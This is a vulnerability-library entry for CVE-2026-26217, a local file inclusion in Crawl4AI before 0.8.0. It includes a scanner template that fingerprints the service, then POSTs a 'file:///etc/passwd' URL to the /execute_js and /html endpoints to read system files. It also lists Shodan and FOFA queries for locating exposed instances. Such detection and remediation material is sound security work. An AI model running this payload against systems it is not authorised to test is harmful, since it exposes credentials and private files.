/Vulnerability Library

Crawl4AI < 0.8.0 - Local File Inclusion

CVE-2026-26217
Verified

Description

The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes.

Severity

Critical

Exploit Probability

2%

Published Date

August 5, 2026

Template Author

str4k3r, aryu-ru

CVE-2026-26217.yaml
id: CVE-2026-26217

info:
  name: Crawl4AI < 0.8.0 - Local File Inclusion
  author: str4k3r,Aryu-RU
  severity: critical
  description: |
    The Crawl4AI Docker API endpoints accepted arbitrary URL schemes without an allow-list. An unauthenticated request with a file:// URL could read local files. Fixed in 0.8.0, which restricts accepted URL schemes.
  impact: |
    Unauthenticated remote attackers can read sensitive files, exposing credentials, API keys, and internal application details.
  remediation: |
    Update to version 0.8.0 or later.
  reference:
    - https://github.com/unclecode/crawl4ai/security/advisories/GHSA-vx9w-5cx4-9796
  classification:
    cve-id: CVE-2026-26217
    epss-score: 0.01914
    epss-percentile: 0.78252
  metadata:
    verified: true
    shodan-query: title:"Crawl4AI"
    fofa-query: title="Crawl4AI"
  tags: cve,cve2026,crawl4ai,lfi,file-read

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "crawl4ai")'
        internal: true

  - method: POST
    path:
      - "{{BaseURL}}/execute_js"
      - "{{BaseURL}}/html"
    headers:
      Content-Type: application/json
    body: '{"url": "file:///etc/passwd", "scripts": ["document.body.innerText"]}'

    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e98fdaf5327266c5beccb2360c9cfc80e308ec60b3652898e816764c2389e50f02203526374d755b58b5eb1df3898f7a4cd042eae988287852dde8f69804570b3c57:922c64590222798bb761d5b6d8e72950
9.5Severity

CVSS Metrics

CVE ID:
cve-2026-26217

References

https://github.com/unclecode/crawl4ai/security/advisories/GHSA-vx9w-5cx4-9796

Remediation Steps

Update to version 0.8.0 or later.